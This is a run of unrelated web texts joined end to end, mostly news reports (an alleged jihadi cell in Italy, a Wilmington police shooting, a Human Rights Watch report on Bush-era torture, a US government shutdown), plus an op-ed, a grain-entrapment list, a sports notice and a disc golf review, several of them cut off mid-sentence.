Italian police said the migrants had been handed documents equivalent to EU passports which enabled them to travel between countries in the Schengen zone - which does not include the UK.
The Home Office could not explain how Surgul Ahmadzai had been able to travel to Britain, and how long he had stayed.
The ease with which the suspects were able to fly around Europe will fuel claims that the continent's open borders are a security risk.
Italian investigators detained four of the alleged terrorists briefly in December last year, including Nasiri and the pair now on the run.
The group were caught filming in a shopping centre in the southern Italian city of Bari.
Their mobile phones were seized, and police found photos of target sites including the local airport and a shopping centre.
But two days later, Surgul Ahmadzai and Qari Khesta Mir Ahmadzai left the country.
Other suspected targets in Britain included several in east London's Docklands. A hotel at West India Quay was photographed, along with the luxury Sunborn yacht hotel in Royal Victoria Dock and an Ibis hotel nearby.
Pictures of the South Quay footbridge to Canary Wharf and the Premier Inn outside Westfield in Stratford were also discovered.
The cell was allegedly planning other attacks in France, Italy and Belgium, including on Rome's Colosseum and the Circus Maximus - a chariot racing arena now used for music and sporting events.
Pictures of mutilated US soldiers were discovered on the phones, along with recordings of prayers to prepare recruits for martyrdom.
Nasri even had taken a selfie with who is believed to be the mayor of Bari, Antonio Decaro, during a march to show solidarity with immigrant citizens last September
Investigators also found a list of prices for smuggling migrants into Europe and information about trafficking activity in Italy and Calais.
They said most of the group's activities used Greece and Turkey as access points to Europe.
Police were unable to explain how two members of the cell were able to slip through the net.
Italian prosecutor Roberto Rossi told a news conference there was no evidence that an attack was imminent, 'but it is clear they were making preparations'.
The suspects were all officially resident near Bari, the main city in Puglia, which has become a magnet for jihadis.
They allegedly provided logistical support to an international organisation linked to Islamic State, investigators claimed.
Of the mobile phone evidence, Mr Rossi said the large number of photos of certain sites 'where tourists in general don't take pictures... they assume an extremely strong meaning'.
The two arrested Afghans were described as 'human bombs' by Right-wing politician Roberto Calderoli of the Northern League.
The third arrested man, Amjad, was granted a residence permit on Monday and made immediate plans to travel to Calais for alleged smuggling activities. This was what prompted Italian police to swoop.CLOSE A man, who police say was armed with a handgun, was fatally shot by police officers on Monday night. KYLE GRANTHAM/THE NEWS JOURNAL
Buy Photo Emergency responders rush a man who was shot by police to an ambulance near Trolley Square in Wilmington Monday. (Photo: JOHN J. JANKOWSKI JR/SPECIAL TO THE NEWS JOURNAL)Buy Photo
A Wilmington police officer fatally shot a man in the city's Trolley Square neighborhood Monday night, police said.
Police were called to the 1700 block of W. 13th St. shortly after 6 p.m. Monday for a report of a "distraught" and potentially armed man, according to an agency news release.
STORY: Wilmington to pay $1.5 million to settle McDole lawsuit
STORY: AG's McDole report to help in federal civil suit
Arriving officers encountered the man, who was armed with a handgun, and fatally shot him, police said. No other details of the altercation were included in the department's news release circulated Monday night. Department officials did not return phone calls Monday night.
The release said an investigation is being conducted by Wilmington Police and the Delaware Department of Justice.
An hour after the incident, neighbors were back inside and only a few police moved in and out of a home where the shooting occurred. It is two blocks from the nearby Acme Grocer and Trolley Square restaurants. Shootings of any type are a rare occurrence for that part of the city.
"It's normally quiet," said one woman who was ducking under police tape to return home with a small child and pizzas in tow.
The most recent officer-involved, fatal shooting by Wilmington Police took place in Sept. 2015 when four officers fatally shot Jeremy "Bam" McDole, who was in a wheelchair. The shooting, which was captured on cellphone video, drew a strong reaction from the community with many calling for the firing of the officers as well as the resignation of the former mayor and current chief of police.
Last month, the city agreed to pay $1.5 million to the McDole family. In addition to the financial award, the agreement states that Wilmington police will consider a comprehensive use of force policy that will outline when force is appropriate and train officers in de-escalation procedures.
The settlement was not an admission of guilt for the officers involved or city officials who argued the shooting was justified. A Department of Justice investigation said there was not sufficient justification to charge the officers involved in that shooting.
STORY: McDole shooting: Wilmington police won't be charged
TIMELINE: The McDole shooting case
Before Monday, the most recent officer shooting by Wilmington police happened when a 17-year-old Taje Beasley pointed a replica handgun at an officer in April.
Officers chased the teen to the 400 block of W. Third St., where he tripped and fell to the ground. The teen then got up, pulled a black, replica gun from his waistband and pointed it at the police before Cpl. Darriel Tynes shot the teen in the knee.
Earlier this month, the Delaware Attorney General's Office concluded Tynes did not commit a crime when he shot Beasley, who was charged with aggravating menacing and fleeing police.
Contact Xerxes Wilson at (302) 324-2787 or xwilson@delawareonline.com. Follow @Ber_Xerxes on Twitter.
Read or Share this story: http://delonline.us/2klMEg9Chicago Machine is excited to announce that we will be scrimmaging Italy's CUSB La Fotta men's ultimate team on Monday, July 31st. The game will be played with USAU rules, to 15, with observers (if available). Spectators are encouraged to attend.
What : Scrimmage between Chicago Machine and CUSB La Fotta Open to the public and free
: Scrimmage between Chicago Machine and CUSB La Fotta Where : Schiller Park Woods N East River Rd, Chicago, IL 60634 Field Map (Targeting Field 1)
: Schiller Park Woods Date : Monday, July 31st 2017
: Monday, July 31st 2017 Time: 7:00pm
CUSB La Fotta, one of Italy's top men's ultimate teams, will be in Chicago for two days on their way to Minnesota for the US Open taking place later next week. CUSB La Fotta, founded in 1988, is based out of Bologna, and is one of the most well traveled and decorated teams in Italian history. If your Italian is strong, you can read more about them, and their team history here: http://www.bodisc.it/cusb-la-fotta/
Otherwise, follow along on Machine's Facebook & Twitter for updates as we get closer to the scrimmage!
Follow CUSB La Fotta on Facebook: https://www.facebook.com/CusBolognaUltimate/
CUSB La Fotta 2016 Video Highlights:Image caption The council had been told government spending squeezes were continuing
Cornwall Council has approved a four-year budget strategy aimed at cutting spending by nearly £200m.
The full 123-seat council approved the strategy on Tuesday. Its cabinet said it was to save £196m between 2015-2019.
The cabinet previously said the council had to make cuts as government spending squeezes were continuing and demand for services was growing.
The Liberal Democrat-Independent coalition unitary authority has an annual budget of more than £1.1bn.
The proposals included less money for frontline services, hundreds of job cuts and a council tax rise of just under 2%.
Many proposed amendments were put forward during the debate.
Calls by a trio of Liberal Democrat, Independent and Green members for a 6% rise in council tax to try and negate the impact of savings plans were rejected.
Conservative leader Fiona Ferguson said that proposal "lacked realism".
The vote passed with 69 in favour with 21 against and 19 abstained.I think on the whole I prefer Tim to Steve. While both mostly make their decisions on the basis of their intuition, Tim is less caustic about it - he's certainly never dressed me down in the same way, and I've never been in a meeting with him where he's done this to anyone else on my team.
He's also much better at acknowledging work well done, while Steve generally just assumed that good work was its own reward, Tim will take time to praise individuals that have performed over expectation.
On the minus side, he starts way earlier than Steve did in the last few years, and when you're working on something critical he expects that you do too. That means that when he sends you an email at 5am that demands a response, if it's not returned quickly he lets it be known that he expects more.On Friday, the last Victorian in Britain died. Ethel Lang was 114 and the last person left in Britain born in the reign of Queen Victoria. She was born in Barnsley in 1900 when Victoria was old and sickly. Yet the butterball queen was still writing her diaries, bombarding her prime minister with questions and avidly presiding over a quarter of the world’s population.
It seems incredible that last week there was still one of Victoria’s subjects left alive. Little could seem more alien to modern Britain than the Victorian period – and not only the street scenes of crinoline-clad women in horse-drawn carriages, child chimney sweeps and shocking poverty. When Ethel was born, the second Boer War was well under way and Victoria had just visited Dublin in an attempt to quell calls for home rule. The Labour party had only just been created and Australia was six separate colonies. Just a few years before Ethel’s birth, Victoria celebrated her diamond jubilee, a blustering celebration of empire, pride and progress.
Victoria died in the year after Ethel’s birth. Britain was now ruled by Edward VII. But the people clung to the memory of their old monarch and still saw themselves as Victorians.
Ethel, one of six daughters who went to work in a shirt factory when she was just 13, has been our lone Victorian for some time. The last one before her was Londoner Grace Jones, born in December 1899, who died in 2013. In 1993, we lost Charlotte Hughes, Britain’s oldest verifiable person to date, who was born in 1877 – and treated to a New York trip on Concorde for her 110th birthday.
Ethel lived through astonishing changes: six monarchs, two world wars, 22 different prime ministers, the invention of the computer, the internet, heart surgery, IVF, the mobile telephone and GM foods. In the year of her birth, 115 people died in Salford from beer mistakenly poisoned with arsenic; now we grumble at EU health and safety laws. And the empire is no more: between 1945 and 1965, the number of people living under British colonial rule dropped from 700 million to five million.
But are we really so far from the Victorians? Much of what our society holds important was shaped in the 19th century. Britain’s passion for Christmas and huge white weddings dates from Victorian times – both were low-key celebrations before Victoria and her PR machine. We still govern countries as part of the Commonwealth and reserve the right to tell others what to do. Our tiny country is one of five permanent members on the UN Security Council – and we believe our alliance with the United States is the strongest in the world. And although beer is arsenic-free, we use substances whose true impact we don’t fully know – from chemicals in plastics to cosmetic treatments and preservatives.
“The sun never goes down on her empire and all glory in being her subjects,” said Chief Letsie of Basutoland in the golden jubilee in 1887. Still often interventionist, convinced of our importance in the world, even those of us born long after 1900 live in a country that is much more Victorian than we think.
Dr Kate Williams’s books include Young Elizabeth: The Making of Our QueenFormer President George W. Bush, as well as his vice president, Defense secretary, and CIA director should all face a criminal investigation for their alleged authorization of torture and other war crimes during their tenure in office following the 9/11 attacks in 2001, according to a report issued on Tuesday by Human Rights Watch.
In addition to authorizing “waterboarding” and other harsh interrogation tactics, the four men also approved the use of secret CIA prisons overseas and the transfer of terrorism suspects to countries where they were allegedly tortured, the report says.
The human rights group is urging the Obama administration to conduct a broad investigation into how the policies were drafted, adopted, and carried out. The group wants the Obama administration to hold President Bush and other top officials in his administration accountable for what it says were acts of torture and other illegal treatment of detainees in violation of the international Convention against Torture and US law.
“The US has a legal obligation to investigate these crimes,” Kenneth Roth, executive director of Human Rights Watch, said in a statement released with the report. “If the US doesn’t act on them, other countries should.”
Two weeks ago, US Attorney General Eric Holder announced the results of a two-year Justice Department preliminary review of whether CIA personnel violated federal laws while interrogating terrorism suspects overseas. Mr. Holder said the department would launch a full criminal investigation into the deaths of two men while in CIA custody.
Critics said the preliminary probe was too narrowly drawn, examining only “unauthorized” interrogation methods rather than focusing more broadly on the legality of detainees’ treatment by US officials. Authorized interrogation techniques such as waterboarding were not a focus of the investigation but should have been, these critics said.
In a statement to the media, Holder said an expanded investigation of other interrogations beyond the two fatalities was not warranted. “I made clear at the time that the department would not prosecute anyone who acted in good faith and within the scope of the legal guidance given by the Office of Legal Counsel regarding the interrogation of detainees,” Holder said.
Given the Obama administration's position on these issues, it's unlikely the Human Rights Watch report will result in a broad investigation.
The legal guidance from the Bush administration’s Office Legal Counsel was set down in a series of legal memoranda branded by critics as “torture memos.” They were drafted to offer legal justification for harsh and coercive interrogation methods that opponents denounced as torture.
Upon taking office, President Obama ordered that such techniques would no longer be used by US personnel. But the administration has declined to undertake a full investigation into the prior use of harsh and coercive techniques.
“President Obama has treated torture as an unfortunate policy choice rather than a crime. His decision to end abusive interrogation practices will remain easily reversible unless the legal prohibition against torture is reestablished,” Mr. Roth said.
In addition to Mr. Bush, the report says investigators should focus on former Vice President Dick Cheney, former Defense Secretary Donald Rumsfeld, and former CIA Director George Tenet.
Bush and other members of his administration have defended the detention and interrogation programs by saying they were seeking to protect the country from what they viewed as a severe and imminent threat from terrorists.
The report says Bush approved waterboarding and authorized the CIA’s secret overseas detention and rendition programs. “Even after learning that serious abuses were taking place, Bush never intervened to stop them or seek to prosecute those responsible,” the report says.
Mr. Cheney is identified in the report as an architect of the detention and interrogation programs who pressed for the Justice Department to issue a legal justification of the controversial efforts. He was involved in discussions of specific interrogations, including Abu Zubaydah, who was waterboarded 83 times, the report says.
Mr. Rumsfeld allegedly “created the conditions for members of the US armed forces to commit torture and other war crimes by approving interrogation techniques that violated the Geneva Conventions and the Convention against Torture.” The report says he closely followed the interrogation of Mohammed al-Qahtani, the suspected 20th hijacker, through a six-week program of isolation, sleep deprivation, stress positions, threats from dogs, and sexual humiliation. At one point Mr. Qahtani was forced to perform tricks on a dog leash. The report says his weight dropped from 160 to about 100 pounds in four months.
As CIA director from 2001 to 2004, Mr. Tenet authorized and oversaw the CIA rendition, detention, and interrogation programs, including waterboarding, the report says.
In addition to a broad criminal investigation, Human Rights Watch seeks a public accounting of the preparation of the Justice Department interrogation memos, payment of fair compensation to those subjected to the harsh interrogation and rendition policies, and creation of a nonpartisan commission to examine the policies and make recommendations to prevent them from being enacted in the future.
Human Rights Watch is an independent organization that seeks to focus international attention on violations of human rights. Among the conclusions in its 107-page report, entitled "Getting Away with Torture: The Bush Administration and Mistreatment of Detainees,” are the following.
• “Human Rights Watch believes that there is sufficient basis for the US government to order a broad criminal investigation into alleged war crimes and human rights violations committed in connection with the torture and ill-treatment of detainees, the CIA secret detention program, and the rendition of detainees to torture…. Human Rights Watch presents evidence now publicly available, but expresses no opinion about the ultimate guilt or innocence of these or other officials.”
• “The CIA’s use of torture, enforced disappearance, and secret prisons was illegal, immoral, and counterproductive.”
• “President Barack Obama took important steps toward setting a new course when he abolished secret CIA prisons and banned the use of torture upon taking office in January 2009. But other measures have yet to be taken, such as ending the practice of indefinite detention without trial, closing the military detention facility at Guantanamo Bay and ending rendition of detainees to countries that practice torture.”
• “In the context of practices such as waterboarding, prolonged stress positions, and long-term incommunicado detention, it stretches credulity to argue that a person of ordinary sense and understanding would not know the practices were illegal.”
• “There is now substantial evidence that the initiative for abusive interrogation techniques came largely from civilian leaders, and that politically appointed administration lawyers created legal justification in the face of opposition from government legal officers.”
• “No US federal court, including the Supreme Court, has granted judicial remedy to persons alleging torture or other ill-treatment, including rendition to torture, in post-September 11 cases. Both the Bush and Obama administrations have argued successfully that such cases should be dismissed under the state secrets privilege in US law.”A New Jersey lawyer is crying “fowl” over food-handling practices at a Cherry Hill branch of supermarket giant Wegmans, calling its kosher labeling “misleading and fraudulent.”
Adam Rosen alleges that the chain is unwrapping kosher chickens, cooking them in unsupervised ovens, seasoning the birds and then repackaging them with stickers that say “kosher.”
“It struck me as odd,” Rosen said. “I saw what was going on. I checked out the labels. The fact that Wegmans had its own sticker with ‘kosher,’ but no hecksher, was strange. I asked the guys at the deli about it, but they had no clue. I asked the manager who’s supervising, but he didn’t know how to answer. It was bizarre.”
After reaching out to Wegmans’ corporate headquarters in Rochester, New York, Rosen finally heard from the chain’s legal counsel.
“She admitted that they are a ‘kosher-style’ deli,” he said. “My concern was that if they are, why are they labeling items as kosher? It’s not Jews handling this stuff. They have no idea what kashrut is or how it works.”
Rosen’s charges against the store were first reported in the Jewish Exponent of Philadelphia.
But a Wegmans rep rebutted the claims.
“We have always been very clear that our stores are not under rabbinical supervision, and have never implied otherwise,” spokesperson Jeanne Colleluori told the Forward in an email.
“There was a photo in the Jewish Exponent, which indicated that the rotisserie used for kosher chickens is used for non-kosher chickens. That is absolutely not true, and we reached out to ask for a correction,” she wrote.
Colleluori didn’t address Rosen’s specific allegations about the repackaged and relabeled Empire chickens. She did say that Wegmans will be changing the signage at its kosher-chicken rotisseries as a result of the feather-ruffling.
Signs will soon read, “Our rotisserie Kosher Chickens are made with kosher ingredients using dedicated equipment and utensils. However, there is no rabbinical supervision.”
Wegmans operates 87 stores in six states. Twenty stores have kosher delis.
A spokesperson for KOF-K Kosher Supervision, a New Jersey-based kosher-certification outfit, did not return the Forward’s requests for comment on Wegmans.
Rosen, in the meantime, has taken his business to a nearby Shop-Rite, which he says has “a great kosher department.” And an attorney has reached out to him about the possibility of a class-action lawsuit against Wegmans.
“I just want them to change the labels,” he said. “It’s wrong what they’re doing. If they meet my request, I’d be more than happy to patroinize them again. In the meantime, I don’t think any Jew should shop there.”
Michael Kaminer is a contributing editor at the Forward.
This story "Ruffled Feathers Over Wegmans’ Kosher Labeling" was written by Michael Kaminer.Getty Images
Until now, the assumption has been that the infusion of a talented cohort of IT workers from overseas is good for the U.S. economy. But is it possible to have too much of a good thing?
For years, Silicon Valley has bemoaned a shortage of skilled |
pounds of wheat annually.
3.) Wheat Worker Disappears
Though most of us survive our workplace mishaps, one wheat plant employee was less fortunate. One fateful day, Danny Long mistakenly transferred wheat into the wrong silo. Long and the president of the company climbed into the silo to set up a suction-based conveyor for removing the wheat. The president then departed, leaving Long alone. 20 minutes later, an employee on the ground noticed the conveyor shuddering. After shutting it off, he entered the silo, searching for Long.
An emergency team later found Long’s body buried under feet of wheat. Long likely sunk quickly; a man of average height may find himself fully submerged in moving grain in just 11 seconds. Disturbingly, Long’s body was found less than three feet away from the conveyor hose; his corpse had nearly been vacuumed up.
This incident, which occurred in 1989, resulted in a paltry $1,120 fine from the Occupational Safety and Health Administration. Though the federal agency often issues harsher fines, appeals have been known to reduce these charges by up to 96%.
2.) Drudgery Turned Deadly
18-year-old Tommy Osier was enjoying his new farming job. The high school student found joy in working with cows but dreaded clearing the crusted corn off of the ceiling and sides of the farm’s silo. One day, while performing the tedious chore, the corn above Tommy came toppling down. The corn beneath his feet collapsed, too, burying him within seconds.
35 men toiled for more than 4 hours to remove Tommy’s dead body from the silo. The teen’s jaw had been dislodged by the pressure. Corn kernels were found in his lungs. The tremendous demand for corn-based food, animal feed, and ethanol fuel has contributed to the increasing frequency of such grain entrapment cases. Since 1964, more than 220 teens under the age of 18 have died while working with grain.
1.) A Miraculous Mask
Arick Baker was tired of breaking up clumps of rotten corn inside his family’s silo. Left alone in the silo one day, the 23-year-old swiftly became entrapped. Only one thing prevented him from dying within minutes. Due to his asthma, Baker wore a battery-operated ventilation mask. This mask prevented corn from being forced into his mouth and nose.
Though Baker was rescued, he was not without injury. Thousands of kernels were embedded in his skin. One of his feet was nearly crushed. If he been five years older, his heart may have exploded.
As corn harvests increase, entrapment cases will likely rise. U.S. corn production used 94.1 million acres of land in 2016, the equivalent acreage of the entire state of Montana.
Note: This article was written in a “top 10” style as a submission for a popular list website. Personally, I wish I had covered the subject of grain entrapment from a more thoughtful angle in a long-form style article. Maybe that will be a future project. For more information regarding grain entrapment, I would particularly recommend this informative NPR article and this moving piece from The Atlantic.
I hope this list has been an eye-opening and informative read. I appreciate your feedback and comments!Tony Abbott declares Government has 'closed floodgates' on asylum seeker arrivals
Updated
Prime Minister Tony Abbott has declared that the Government has succeeded in closing the "floodgates" to asylum seeker arrivals.
Mr Abbott says the number of people arriving on boats has plunged to just 10 per cent of the number under the previous Labor government.
"Under the former government in July, arrivals were at the rate of 50,000 a year," he told a press conference in Melbourne.
"The trickle had become a flow; had become a flood.
"Well, I'm pleased to say that the floodgates are closed, the boats are stopping."
Mr Abbott said there was "still a long way to go" but he was confident the boats "will be stopped".
According to official numbers released at weekly briefings, 10 boats have arrived, carrying 544 asylum seekers, since the government's Operation Sovereign Borders came into effect in September.
There has been a marked fall in boat arrivals in recent weeks, but Labor is also claiming some of the credit lies with its offshore settlement policy, announced just weeks before the election.
The Government has also begun high-level talks with the Iranian government to return asylum seekers whose refugee claims have been rejected by Australia.
Iran currently refuses to accept involuntary returns but the government is negotiating to change that.
"I'm not going to comment on the details of discussions and which particular country we're talking about on which particular issue," Mr Abbott said.
"But you'll understand that we are talking to everyone that we need to talk to in order to ensure that the message goes out to the people smugglers and their customers that the game is up."
Foreign Affairs Minister Julie Bishop raised the issue with her Iranian counterpart in New York last month and plans to discuss it again in official talks tomorrow in Perth at the Ocean Rim Association for Regional Cooperation meeting.
The number of Iranian nationals arriving by boat has doubled, with more than 5,000 making the journey in the past year.
Earlier this year, former foreign affairs minister Bob Carr said the majority were "economic migrants".
Topics: federal-government, immigration, community-and-society, government-and-politics, australia, indonesia, iran-islamic-republic-of
First postedBehind the news that the United States has had its first case of the deadly respiratory virus known as Middle East Respiratory Syndrome coronavirus, or MERS coronavirus, is a far more worrisome trend: Case numbers are exploding on the Arabian Peninsula. As doctors struggle to treat patients, scientists are rushing to answer some basic questions about the virus’s biology, whose answers could stop the virus from becoming a pandemic.
As far as anyone knows, the first human victims of MERS were a university student and a nurse, who both got sick and died in Jordan in the spring of 2012. In the two years between then and March 2014, public health officials recorded an average of 14 or 15 cases per month, for a total of 207 cases. Of those cases, 93 people died, making the mortality rate about 45 percent.
“If you do the math on the mortality rate of the virus and the number of people on the planet, it's scary,” says Ralph Baric, a virologist at theReptilian Disc Golf Scale & Serpent: Honing the craft
As I walked around my local course this week, picking up beer can after beer can that magically hopped from their trash receptacles and out onto the fairways, a thought occurred to me: Disc golf and craft beer have a lot in common.
While I’ve been known to enjoy a fine brew from time to time while out on the course, the connection runs a little deeper. The variety of discs and manufacturers on the market now is on a steep trajectory, much like the vast array of beer styles available in every nook and cranny of the country. There’s a different flavor profile, or disc design, for each level of consumer, from beginners sipping on fruited wheat beers and tossing too-heavy Grooves to experienced hop heads crushing Destroyers for huge distance. It all leads to one conclusion:
Disc golf and craft beer have both grown exponentially in the last decade.
And this isn’t just conjecture. According to the PDGA, 1,973 courses existed in 2005; at the end of 2014, that number was 4,723.
The Brewers Association, a group whose purpose is “to promote and protect American craft brewers, their beers and the community of brewing enthusiasts,” tallied the number of craft breweries open in 2005 at 1,447. By 2014, that number vaulted to 3,464.
In both cases, that is growth of 139% over 10 years.
While that’s a bit of kismet for both growth numbers to line up so effectively, it truly demonstrates just how meteoric the rise of these industries has been. So it was only natural, then, that I spent the last few weeks throwing putters from a company that labels itself as the best of both worlds, a “craft discery:” Reptilian Disc Golf.
Unique, boutique plastic
The O’Fallon, Missouri company’s origin story reads similar to that of many a small brewer. Rather than a homebrew kit in the garage, though, Reptilian began in 2013 with original art on standby molds like the Gateway Wizard before deciding to create its own discs.
After forging a partnership with Gateway, which resides in neighboring St. Louis, Reptilian released the Scale – an overstable putter that shares a bottom mold piece with the Wizard – and the Serpent, which is derived from the Gateway Magic.
Where Reptilian has distinguished itself from the Gateway molds, though, is with its top piece of the mold: A large contour – a roughly thumb-width groove, if you will – encircles the flight plate on both discs. The resulting design not only makes for a feel that few putters possess, but also beefs up the stability.
Another – more important, in my opinion – byproduct of the Gateway-Reptilian marriage is that the brands have worked together to release some of the most delicious boutique plastic on the market.
Reptilian sent me a Serpent in Fossil plastic, a mix the company calls its signature blend. It is extremely rigid, yet still has a velvety smoothness to it when you run your finger across the top of it. It harkens, Reptilian says, to the “vaunted plastic of disc golf yesteryear” – hard as a rock, yet still grippy.
I also received a Scale in Reptilian’s Fossil Fuel blend, which adds color and a bit more flexibility to the original Fossil blend. As a result, Fossil Fuel is a bit more soft and pliable than its predecessor, but still has a firm feel.
While the difference between the two comes down to preference more than anything, the Fossil plastic, for me, is like a Mosaic IPA: I can’t get enough. If I could send my usual putters to Reptilian and have them molded up in Fossil, I would do it in a heartbeat.
That’s not to say Fossil Fuel is a slouch, by any means. I liken it more to an IPA versus a Pale Ale: One’s a little harder on the palate than the other, but they’re both tasty.
Growing pains
It doesn’t matter how a disc feels, though, without also knowing how it flies. And I will admit that, much like the first time I dabbled in hop-heavy beers, I didn’t really click with the Scale and Serpent off the bat.
As someone who is used to shallow putters, the Scale and Serpent are a shock to the system. Both are tall – the Scale is taller than the one Wizard I own, by comparison – and the depth really took me some time to get used to. I am a bit of a knuckle-dragger on putter drives when throwing deep dish molds, and what I mean by that is that the knuckle on my index finger curls too far underneath the rim when I release it, inducing off-axis-torque and ugly wobbles. As a result, I wasn’t seeing much overstability out of the Scale when I first threw it. It would wobble a bit, then go straight without fading much at the end.
However, much like living in San Diego has found my palate regularly evolving, a minor grip adjustment had me seeing the desired flights out of both the Scale and the Serpent. And I soon realized that, much like their Gateway cousins, they make for a complementary one-two putter punch.
Barrel aged
With a clean pull and release, the Serpent lives up to its billing as a “stable” putter. It will retain a straight, almost perfectly high speed stable line before fading gently at the end of its flight. Add a little hyzer or anhyzer, and it holds the line. It makes for easy, straight drives and approaches.
The Scale, on the other hand, wants to do one thing: fade. It is a power-hungry mold, one that makes for shorter drives but more reliable upshots. And a trip to the local pitch-and-putt, Montiel Park, truly but both molds into full view.
With the Serpent, I overshot the first basket when misjudging just how straight it would go. The Scale, on the other hand, faded out early when I didn’t give it enough gas. I was able to adjust on the second hole, using the ending fade on the Scale to park it for an easy birdie.
On the whole, my experience with both of these molds leaves me excited to see what else Reptilian Disc Golf has in store. The company, in a short time, has managed to hone its craft with a unique style that is easy to support.
By the time I got to Hole 5 – a short hole at only 200 feet, but with a steady uphill climb – I was starting to understand the nuances of each mold. But I was surprised when, after releasing both on an anhyzer angle and with some height, they landed within a foot of each other. The Scale, it seems, can hold a steeper anhyzer to the ground, but I think the hill played a factor. That same release on flat ground, or downhill, would see the Scale flex out.
On Hole 6, I used a baby anhyzer on the Serpent to get it to track a beautiful, closed parentheses-shaped path for a drop-in deuce. On Hole 7, a big downhill shot, the Serpent ran the open parentheses line to cuddle up with the pin.
While I enjoyed overall success during this round, there were a couple shots that dampened my enthusiasm. Holes 8 and 9 are both long downhill shots – long by pitch-and-putt standards at 350-plus, at least – that I have reached with lower-profile putters. The Scale and Serpent, compared to these other driving putters, are low on the glide scale, and they dropped to the ground early.
This isn’t necessarily a knock on the molds, but rather something to consider. If you prefer a little more speed and glide on your putters, eeking out all the distance you can, you might want to look somewhere else. But if you need molds that are going to sit down reliably – even if they are a bit shorter – look no further.
And I must give the Scale and Serpent their due credit: Much like a fine barrel-aged brew, both have become better with time. The Serpent, in particular, has seen an increase in glide as it has worn in, and the Scale has lost a bit of its fade while retaining its high speed stability.
On the whole, my experience with both of these molds leaves me excited to see what else Reptilian Disc Golf has in store. The company, in a short time, has managed to hone its craft with a unique style that is easy to support. And with a newly-released small bag, a meathook utility midrange, and two drivers on the horizon, it is making like its small-batch brethren and continually looking for ways to diversify its selection.
For a company living in the land of Budweiser, Reptilian is, ironically enough, full of flavor. Drink it up.
Connect with Reptilian Disc Golf to learn more about the company and keep track of future offerings:
Steve Hill is a Southern California-based disc golfer who doesn’t throw very far. Follow him on Twitter @NoodleArmDG.Media playback is unsupported on your device Media caption What does shutdown mean for two million federal employees, agencies and tourist destinations?
Asian markets have fallen on fears that the US may be heading for a shutdown of government services.
The US needs to agree a new spending bill before the financial year ends at midnight on Monday. But political divisions have resulted in a stalemate.
There are worries over the economic impact of a failure to do so, which may see non-essential federal services shut and staff placed on unpaid leave.
Stock indexes in Japan, Hong Kong, Australia and South Korea all declined.
Japan's Nikkei 225 index fell 2%, Hong Kong's Hang Seng was down 1.5%, Australia's ASX dropped 1.7%, while South Korea's Kospi shed 0.7%
"It is the fear of the unknown," said David Kuo of financial website the Motley Fool. "No one knows what is really going to happen and markets don't like uncertainty."
"There is likely to be some reduction in US government spending, but we don't know what areas are going to be affected.
"Until that is resolved, we are likely to see volatility in the markets," he added.
Voting for shutdown?
One of the key areas of debate between the Democrats and the Republicans has been President Barack Obama's healthcare law, popularly known as Obamacare.
Any member of the Republican Party who votes for this bill is voting for a shutdown Jay Carney, White House spokesman
Early on Sunday, the Republican-run House of Representatives passed an amended version of the Senate spending bill that removed funding from the healthcare law, raising the chances of a shutdown.
US Senate Majority leader Harry Reid has vowed that his Democrat-led chamber will reject the Republican bill.
"Tomorrow, the Senate will do exactly what we said we would do and reject these measures," said Adam Jentleson, a spokesman for Senate Majority Leader Harry Reid.
"At that point, Republicans will be faced with the same choice they have always faced: put the Senate's clean funding bill on the floor and let it pass with bipartisan votes, or force a Republican government shutdown."
Speaking for the president, White House spokesman Jay Carney said: "Any member of the Republican Party who votes for this bill is voting for a shutdown." The president, he said, would also veto the Republican bill.
Shutdown impact
If the government does shut down on 1 October, as many as a third of its 2.1 million employees are expected to stop work - with no guarantee of back pay once the deadlock is resolved.
National parks and Washington's Smithsonian museums would close, pension and veterans' benefit cheques would be delayed, and visa and passport applications would be stymied.
Programmes deemed essential, such as air traffic control and food inspections, would continue.
The defence department has advised employees that uniformed members of the military will continue on "normal duty status", but "large numbers" of civilian workers will be told to stay home.
'Far more dangerous'
The looming shutdown, which would be the first for 17 years, is not the only crisis the US government is facing.
The US government and Republicans are also at loggerheads over extending the government's borrowing limit.
Crisis jargon buster Use the dropdown for easy-to-understand explanations of key financial terms: AAA-rating AAA-rating The best credit rating that can be given to a borrower's debts, indicating that the risk of borrowing defaulting is minuscule.
The US Treasury Secretary has warned that the US will hit its debt ceiling by 17 October, leaving the government with half the money needed to pay its bills.
Earlier this month Jack Lew said that unless the US is allowed to extend its borrowing limit, the country will be left with about $30bn to meet its commitments, which on certain days can be as high as $60bn.
A failure to raise the limit could also result in the US government defaulting on its debt payments.
President Obama has warned that "failure to meet this responsibility would be far more dangerous than a government shutdown".
Washington faced a similar impasse over its debt ceiling in 2011. Republicans and the Democrats only reached a compromise on the day the government's ability to borrow money was due to run out.
That fight was resolved just hours before the country could have defaulted on its debt, but nevertheless led to ratings agency Standard & Poor's downgrading the US for the first time ever.
The 2011 compromise included a series of automatic budget cuts known as the "sequester" which came into effect earlier this year.Respawn Entertainment has announced support for Xbox One via Titanfall 2. According to the developer, they are adding higher resolution to Titanfall 2 along with Dynamic Super Scaling. Respawn Entertainment shared a post on its official website, saying that “Titanfall 2 will support Xbox One X. This means 4K resolution for increased fidelity as well as support for dynamic super scaling.”
Dynamic super scaling will allow the game look better even on non-4K displays. Along with the announcement of support for Xbox One X, Respawn also shared “The War Games,” the new DLC drop for Titanfall 2. Players are getting new maps, executions, new mode, and a 3rd weapon slot for the pilot.
The post didn’t mention anything regarding improved framerate so, for now, we can safely assume that it will remain the same on Xbox One X.
One of the new maps, War Games, is described as “Pilots on the Frontier frequently use simulator pods to train, using life-like recreations of historical battles as combat scenarios. War Games highlights the civilian shops, tall buildings for window-to-window fighting, and city streets for Titan combat from the Battle of Angel City, and the large, open tank garage facilities for hand-to-hand Pilot combat from the Battle of Airbase Sierra. The outskirts of the map feature a clean, VR-style perfect for Titan duels, while Pilots are often found running along the bright, interconnected wall running routes.”
Titanfall 2 is now available on PlayStation 4, Xbox One, Xbox One S, and PC. Developers keep adding new content to the base game and more is to come.
Are you excited to go back to Titanfall 2 singleplayer in 4K? Let us know in the comments below.The internet is seething over Amazon’s reported hardball tactics in negotiations with Hachette.
Newspapers and blogs are filled with heated opinion pieces, decrying Amazon’s domination of the book business.
Actual facts are thinner on the ground, however, and if history is any guide, we haven’t heard the full story. Here’s how it started.
In a historical quirk of the trade, publishers and booksellers negotiate co-op deals at the same time as the general agreement to carry titles. (For those who don’t know, co-op is the industry term for preferred in-store placement, such as face-out instead of spine-out, position on end-caps, front tables, window displays, and so on.)
At publishers’ insistence, the same practice has continued in the online and e-book world, namely that negotiations regarding virtual co-op (e.g. high visibility spots on retailer sites) take place at the same time as discussions over general terms and publisher-retailer discounts.
